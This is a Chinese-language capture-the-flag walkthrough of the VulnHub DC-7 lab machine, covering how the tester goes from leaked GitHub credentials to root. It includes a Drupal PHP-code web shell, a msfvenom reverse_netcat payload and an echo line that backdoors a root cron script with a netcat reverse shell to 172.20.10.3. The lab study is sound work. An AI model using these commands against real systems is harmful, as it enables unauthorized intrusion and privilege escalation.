DC-7
0x00 前期准备
DC-7官网:https://www.vulnhub.com/entry/dc-7,356
DC-7官wp:https://blog.mzfr.me/vulnhub-writeups/2019-08-31-DC7
-
官方提示:跟以前一个DC类似,但有新的概念包含其中,如果选择暴力破解和词典攻击,将不会成功。跳出框框思考。
-
导入成功。
0x01
-
nmap扫描:
nmap 172.20.10.0/24
,得到dc7地址172.20.10.6,开放80、22端口。 -
访问网页,是Drupal网页,依然提示跳出盒子思考。
3. 左下角找到一个推特账户@DC7USER,科学地找到该用户主页,看到github连接,点进进入,看到有一个staffdb文件夹。
-
点进staffdb查看,在config.php中找到可疑用户名dc7user和密码MdR3xOgB7#dW。
-
以防万一,下载压缩包并放入kali解压。
-
直接在网页登陆无效,尝试使用密码MdR3xOgB7#dW进行ssh登陆:
ssh dc7user@172.20.10.6
。成功。 -
ls查看,发现提示接收到新邮件。cat查看该目录,发现敏感字眼:root和backup.sh脚本。
-
按照提示路径查看/opt/scripts/backups.sh,与drush和gpg指令相关。
-
drush是一个shell接口,用于从云服务器命令行管理Drupal。进入/var/www/html,执行:
drush user-password admin --password="admin"
,修改admin用户密码为admin。drush参考:https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell
-
修改成功后,回到网页用admin-admin登陆。
-
因为dc7的CMS是Drupal8,已经移除了PHP Filter,后续作为一个模组存在,可以手动安装。点击
官方告知:https://www.drupal.org/node/2088811
-
进入http://drupal.org/project/php,下载压缩包php-8.x-1.1.tar.gz并存入kali。
-
回到kali网页,依次点击左上角的manager→extend→install new module,浏览选择刚才的压缩包。
-
install安装成功,点击next steps里的enable newly added modules激活php模块。
-
点击蓝色三角收回前几栏,找到Filters-php filter,勾选后到页末选择
-
安装成功。
-
在Content中添加一句话木马,依次点击:content→add content→basic page,测试添加<?php phpinfo(); ?>,命名为info test。选择format为php code。
-
回显php信息成功。
-
写入之前提到的php-reverse-shell.php,修改ip和port。
前文见:https://nikris.blog.csdn.net/article/details/122325464,0x02 反弹shell。
-
在kali开启监听端口:
nc -lvvp 7788
,点击save,此时在终端反弹shell成功,切换shell外壳:python -c 'import pty;pty.spawn("/bin/bash")'
。 -
回看之前ssh登录时找到的bash脚本权限:
ls -l backups.sh
。该脚本属于root和www-data用户组。 -
在kali终端用msfvenom生成后门,对应端口8888:
msfvenom -p cmd/unix/reverse_netcat lhost=172.20.10.3 lport=8888 R
msfvenom参考:https://blog.csdn.net/qq_40549070/article/details/108895422
-
复制在dc7终端的backups.sh写入后门:
echo "mkfifo /tmp/eieioac; nc 172.20.10.3 8888 0</tmp/eieioac | /bin/sh >/tmp/eieioac 2>&1; rm /tmp/eieioac" >>backups.sh
-
在kali开启监听8888端口:
nc -lvvp 8888
,耐心等待backups.sh这个定时任务执行(真的要等一会),反弹shell成功,查询用户为root。 -
连续执行指令,进入/root目录找到theflag.txt,渗透成功。